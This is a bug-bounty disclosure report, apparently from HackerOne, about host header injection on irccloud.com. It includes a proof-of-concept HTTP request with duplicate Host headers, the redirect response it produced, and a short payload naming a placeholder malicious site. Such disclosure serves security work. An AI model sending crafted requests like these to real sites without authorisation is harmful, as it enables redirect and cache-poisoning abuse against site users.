Host Header Injection - irccloud.com
Unknown
Vulnerability Details
Host Header Injection Attack - irccloud.com
An attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways.
Very often multiple websites are hosted on the same IP address. This is where the Host Header comes in. This header specifies which website should process the HTTP request. The web server uses the value of this header to dispatch the request to the specified website. Each website hosted on the same IP address is called a virtual host.
But what happens if we specify an invalid Host Header? If Apache receives an unrecognized Host Header, it passes it to the first virtual host defined in httpd.conf. Therefore, it's possible to send requests with arbitrary Host Headers to the first virtual host.
Another way to pass arbitrary Host headers is to use the X-Forwarded-Host Header. In some configurations this header will rewrite the value of the Host header. Therefore it's possible to make a request like:
#PoC Request -
GET / HTTP/1.1
Host: google.com
Host: www.irccloud.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
#PoC Response -
HTTP/1.1 301 Moved Permanently
Content-length: 0
Location: https://google.com/
Connection: close
#PoC Payload -
Host: google.com
Host: anymalicioussite.com
#PoC pcap -
Enclosed
#PoC Screenshot -
Enclosed
Please verify and fix the same.
Actions
View on HackerOneReport Stats
- Report ID: 13286
- State: Closed
- Substate: resolved
- Upvotes: 5